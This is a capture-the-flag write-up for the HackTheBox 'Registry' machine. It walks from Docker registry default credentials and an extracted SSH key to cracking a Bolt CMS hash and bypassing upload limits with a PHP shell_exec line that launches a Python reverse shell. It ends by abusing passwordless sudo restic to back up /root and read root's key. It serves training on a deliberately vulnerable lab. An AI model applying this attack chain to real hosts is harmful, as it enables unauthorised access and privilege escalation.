HackTheBox - Registry
Registry just retired on HackTheBox. It was my first hard box and was pretty interesting with real-life scenario like I love. This box shows the importance of understanding how things works “behind the scene” and to read all documentations carefully to not miss anything. I recommend this box for people who finished few medium difficulty boxes and wants to level-up.
Tl;Dr: The user flag consisted in finding an INSTALL archive containing install instruction and certificate to deploy an online docker registry, this certificate was used on the docker registry running on the box. Using this cert we could connect to the registry API and pull the docker image available on it. Running the docker image locally and doing recon into it allows to find an SSH key along with its passphrase. This key would allow to connect to the bolt user account and grab the user flag.
The root flag required to access a CMS after brute-forcing the admin password found in a sqlite database. From the CMS we pivot from the bolt user to www-data user by exploiting insecure file upload vulnerability. From www-data a backup software - restic - can be run as sudo without password. Using this software we are able to backup the whole /root/ folder and restore its content with read privileges for www-data including the root.txt flag and a .ssh/id_rsa key allowing us to get a full shell as root.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the host file:
1 | [hg8@archbook ~]$ echo "10.10.10.171 registry.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC registry.htb |
Port 80, 443 and 22 are open.
One interesting point, the SSL certificate have docker.registry.htb as common Name. Let’s add it to our host file as it can be useful later:
1 | [hg8@archbook ~]$ echo "10.10.10.159 docker.registry.htb" >> /etc/hosts |
Opening http://regirstry.htb display the default nginx page:

While http://docker.registry.htb return empty response:
1 | [hg8@archbook ~]$ curl -i http://docker.registry.htb/ |
That’s not much informations here… Let’s run gobuster to see if we can find more interesting stuff:
1 | [hg8@archbook ~]$ gobuster dir -u "https://registry.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k |
The backup endpoint must be used as a script to do…well…backups. It doesn’t return anything either:
1 | [hg8@archbook ~]$ curl -i registry.htb/backup.php |
Next, opening the install endpoint shows some garbage:

Since we don’t have other endpoint so far let’s investigate a bit more on this last one. First let’s download this page to file:
1 | [hg8@archbook ~]$ wget http://registry.htb/install |
That’s interesting, the file utility indicate that the install file is a gzip archive. Let’s try to extract it. Out of habit I used tar:
1 | [hg8@archbook ~]$ tar -xzf install |
Despite this bad looking error the files seems to have been extracted properly so that’s good:
1 | [hg8@archbook ~]$ ls -a |
Note: Another way to access archive content when the archive seems corrupted it to use zcat:
1 | [hg8@archbook ~]$ zcat install |
So we got two files unzipped, a certificate ca.crt and a readme file readme.md:
1 | [hg8@archbook ~]$ cat ca.crt |
The readme links to two pieces of documentation:
Deployment of a private docker registry.
Verifying repository client with certificates
These documentation make sense of what we found so far, docker.registry.htb is probably the API of a private docker registry, while the ca.crt might be used to connect to the registry securely.
Docker Registry
Now that we have an idea of what’s going on docker.registry.htb let’s make a bit of recon to see what we can do with this instance. First let’s run gobuster to see if we can find useful endpoints:
1 | [hg8@archbook ~]$ gobuster dir -u "https://docker.registry.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k |
This /v2 endpoint confirms we are looking at an API. Let’s continue:
1 | [hg8@archbook ~]$ curl -i docker.registry.htb/v2/ |
Searching for this error redirect us to the valuable Docker Registry API documentation which will probably be super useful soon:
If a
401 Unauthorizedresponse is returned, the client should take action based on the contents of the “WWW-Authenticate” header and try the endpoint again. Depending on access control setup, the client may still have to authenticate against different resources, even if this check succeeds.
Www-Authenticate that got returned to us indicate we have to authenticate through a Basic authentication method. We didn’t find any username or password yet so… let’s try the classic admin:admin?
1 | [hg8@archbook ~]$ curl -i -u admin:admin docker.registry.htb/v2/ |
Alright! We have access to the Docker API Registry, the next logical step is to see if any docker image is stored on this registry. According to the documentation we can do so using the _catalog endpoint:
Images are stored in collections, known as a repository, which is keyed by a
name, as seen throughout the API specification. A registry instance may
contain several repositories. The list of available repositories is made
available through the catalog.
1 | [hg8@archbook ~]$ curl -u admin:admin http://docker.registry.htb/v2/_catalog |
Great there is indeed an image, let’s pull it to investigate its content:
1 | [hg8@archbook ~]$ docker pull docker.registry.htb/bolt-image |
New error, certificate error…
Remember we found a documentation link and a certificate in the install archive? Let’s take a look, the solution is surely inside:
A custom certificate is configured by creating a directory under
/etc/docker/certs.dusing the same name as the registry’s hostname, such aslocalhost. All*.crtfiles are added to this directory as CA roots.
Let’s do this with the certificate we got in install archive:
1 | [hg8@archbook ~]$ sudo mkdir -p /etc/docker/certs.d/docker.registry.htb |
We are getting closer! Let’s login to the docker using the admin:admin credentials:
1 | [hg8@archbook ~]$ docker login -u admin -p admin http://docker.registry.htb |
Everything should now be in order, let’s pull this damn image:
1 | [hg8@archbook ~]$ docker pull docker.registry.htb/bolt-image |
Looks all good now! We pulled the image and it can be ran locally. We can now start it and get a shell inside, so we can recon for interesting files:
1 | [hg8@archbook ~]$ docker run -it 601499e98a60 /bin/bash |
We have an.ssh/ folder with private key and a username bolt for registry.htb host. Looks a little too easy but let’s give a try:
1 | [hg8@archbook ~]$ ssh -i id_rsa bolt@registry.htb |
Of course it was too easy, the key need a passphrase and we didn’t find any yet… In these situations I usually try to run john to quickly brute-force the passphrase:
1 | [hg8@archbook ~]$ ssh2john id_rsa > id_rsa.hash |
No luck here. To be honest it took me too much time to find this passphrase but, as usual, recon is always the key to progress and finally:
1 | root@02c3e9ee87d2:/# grep -ri "passphrase" 2>/dev/null |
ssh-add is a command for adding SSH private keys into the SSH authentication agent for implementing single sign-on with SSH.
As a reminder:
/etc/profile
The systemwide initialization file, executed for login shells
When looking in the /etc/profile we can see that all scripts in /etc/profile.d/ are executed on login time:
1 | root@02c3e9ee87d2:/# cat /etc/profile |
We now understand why this ssh-add command is made on login, the combination of ssh-agent and ssh-add allow the user to connect to any server he is allowed to access without having to type in a password every time when moving between servers.
Well now that we have all the needed informations, let’s try to login to SSH again:
1 | [hg8@archbook ~]$ ssh -i id_rsa bolt@registry.htb |
Root Flag
Alright! Now that we have access to bolt account. It’s time to escalate it to root.
Recon
The usual quick recon shows that bolt user doesn’t seems to hold anything very valuable. Let’s investigate the /var/www/html/ directory to take a look at this backup.php file we found during the user recon phase:
1 | bolt@bolt:/$ cat /var/www/backup.php |
Alright so this php file is calling an external command to make backup it seems. The interesting point here is that the command is launched as root using sudo. That mean if we can find a flaw in the command we can very probably elevate our privileges to root.
Unfortunately as bolt user we can not run this command without inputting password. Seeing the backup.php file we can guess with good confidence that sudo have been configured to allow the Apache user (www-data) to run the sudo backup command without inputing password. This way the backup.php script can be run automatically through cronjob for example.
So now we need to find a way to pivot to www-data user to exploit this backup script. Let’s investigate.
Pivot bolt -> www-data
While looking in the /var/www/html/ directory we find a bolt/ folder. This one was missed by gobuster during our recon phase.
So what’s this bolt?
Opening https://registry.htb/bolt display an empty sample website:

A quick Google search gives us additional information about what Bolt is:
Bolt is a free, open-source content management system based on PHP. It was released in 2012 and developed by Two Kings and the Bolt community. Bolt uses Twig for templates and includes features for content and user management.
Bolt.cm
I will add it to my usual recon list to make sure not missing it next time:
1 | [hg8@archbook ~]$ echo bolt >> ~/SecLists/Discovery/Web-Content/big.txt |
Reading through the documentation we can see that the admin interface is available at https://registry.htb/bolt/bolt :

No common password combination seems to work here. No need to loose time brute-forcing, since we have access the app code source through the bolt ssh user account let’s dig a bit there to see if we can find any interesting config files.
Looking around we quickly stumble across bolt sqli database in /var/www/html/bolt/database/bolt.db.
Let’s take a look inside for juicy information:
1 | [hg8@archbook ~]$ sqlite3 bolt.db |
The first thing that catch the attention is this bolt_users table. Inside we grab the password hash of user Admin.
Let’s try to crack it using john:
1 | [hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt admin.hash |
Bingo! So, we got Admin:strawberry, using those credentials in the admin login page works.

Looking around at the various settings we quickly come across the “File Management” setting, allowing us to upload file to the server. Sounds good to upload a web shell don’t you think?
First thing to try is to send a .php file to see if we can execute php on the server:
1 | echo "<?php phpinfo();" > test.php |
Unfortunately when trying to upload we receive the following error message:

No php allowed. At this point I tried various way to bypass the file upload restrictions:
- Changing extension (
test.PHp,test.php7since server runs PHP7) - Content-type bypass
- Double extension (
test.php.jpg,test.jpg.php) - Null Character (
test.php%00.jpg) - Using GIF89a; header
But didn’t managed to get any of this to work. Searching a bit farther we discover that it’s possible to change the allowed extension list in “Configuration/Main Configuration”. Even though a comment state .php extension are “never acceptable”, adding it to the list seems to work and let us upload php file:
1 | # Note that certain file-types are never acceptable, even if they are in this list. |

The php file is now accessible at https://registry.htb/bolt/files/hg8.php:

Good, we are on the right track to upload a web shell. Unfortunately it’s not that simple, the uploaded files gets deleted and configuration file reset every 1 minute or so, making it impossible to use a web shell. The good news is we do have an access to the server on ssh as bolt user, here is how we can proceed to get a stable shell:
- Create a reverse shell script with the
boltaccount on the server/tmpfolder. - Upload a
.phpfile executing this script.
This way we get a reverse that will be executed as www-data and will stay up even after the .php file gets deleted. Here is one way to do so:
First let’s create the reverse shell script. I will use Python one:
1 | bolt@bolt:/$ cat /tmp/hg8.py |
Now our php file calling this hg8.py reverse shell:
1 | [hg8@archbook ~]$ echo '<?php shell_exec("/usr/bin/python /tmp/hg8.py"); ?>' > hg8.php |
Finally let’s open our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And let’s redo the process, edit the configuration to allow .php upload, upload the hg8.php file and open it!
If everything goes fine and you have been fast enough the connection will open. But it doesn’t… The connection just seem to hang.
The first thing that comes to mind is that a firewall is blocking any connection from outside. Since we have an access on the machine let’s try to open our listener here instead:
1 | bolt@bolt:/$ nc -l -vv -p 8585 |
Let’s now recreate our python reverse shell with registry IP, reupload and run our hg8.php and….
1 | bolt@bolt:/$ nc -l -vv -p 8585 |
Alright, we now have access to www-data account. That’s a good progress. Let’s now try to find if and how we could escalate to root privilege.
While doing the usual recon for privilege escalation, we stumble across the backup command we have seem before:
1 | bolt@bolt:/$ sudo -l |
It’s the restic command we saw in the /var/www/html/backup.php file:
1 | bolt@bolt:/var/www/html$ cat /var/www/html/backup.php |
Let’s check for the documentation of restic to understand better how it works. According to its website:
restic is a backup program that is fast, efficient and secure. It supports the three major operating systems
https://restic.net/
So we have a program that can be run as root manipulating files we can control. Sounds like a perfect scenario for privilege escalation ;)
Let’s break down the restic command from backup.php to understand exactly what’s it’s doing :
1 | bolt@bolt:/$ restic --help |
Alright so if we take this command as example:
1 | restic backup -r rest:http://backup.registry.htb/bolt bolt |
restic is going to back up the bolt folder to the distant repository available at http://backup.registry.htb.
Looking around it seems we can not access nor do anything at http://backup.registry.htb. But anyway what lays there ? According to the restic documentation it’s the url of a restic remote repository. Reading a bit more we can find a tool (restic-rest-server) to create those remote repositories:
Rest Server is a high performance HTTP server that implements restic’s REST backend API. It provides secure and efficient way to backup data remotely, using restic backup client via the rest: URL.
https://restic.readthedocs.io/en/latest/030_preparing_a_new_repo.html#rest-server
Seeing this we can understand it’s what is being used on http://backup.registry.htb.
With all those information in mind we start to understand how we could read files with escalated privileges:
- Setup a local
resticbackup server - Use the following command that
www-datacan run assudowithout password:
1 | /usr/bin/restic backup -r rest:http://our-restic-repo.local /root/ |
- Navigate to the
/root/folder thatresticbackup to grab the flag.
It’s not yet a root shell but it should be good enough to grab the root.txt flag.
Alright so that was the idea, let’s see in practice now!
Restic privileged file read
First thing first let’s build the restic rest-server binary:
1 | [hg8@archbook ~]$ git clone https://github.com/restic/rest-server.git && cd rest-server |
Let’s now push the binary to the server:
1 | [hg8@archbook ~]$ scp -i id_rsa rest-server bolt@registry.htb:/tmp/ |
We can now check the documentation to understand how to run it:
1 | bolt@bolt:/tmp/$ ./rest-server --help |
We have all the needed informations so let’s give a try here. First, still according to the documentation, we need to setup the repository folder :
1 | bolt@bolt:/$ restic init --repo /tmp/hg8-backup |
Now we can start the rest-server with this backup path:
1 | bolt@bolt:/tmp/$ ./rest-server --path ./hg8-backup --no-auth |
Sounds all good for the repository! Let’s now try to backup the /root/ folder to our backup repository using the sudo command we are allowed to run without password:
1 | www-data@bolt:/$ sudo /usr/bin/restic backup -r rest:http://localhost:8000 /root |
0 errors that’s good! Now it’s time to access the file we just backup:
1 | bolt@bolt:/$ restic -r /tmp/hg8-backup/ snapshots |
All that remains to do now is retrieving our flag:
1 | bolt@bolt:/tmp$ cat /tmp/restored-root/root/root.txt |
Looking around we can even find the root account private ssh key and use it to obtain a root shell:
1 | bolt@bolt:/$ ssh -i /tmp/restored-root/root/.ssh/id_rsa root@registry.htb |
As always do not hesitate to contact me for any questions or feedbacks :)
See you next time !
-hg8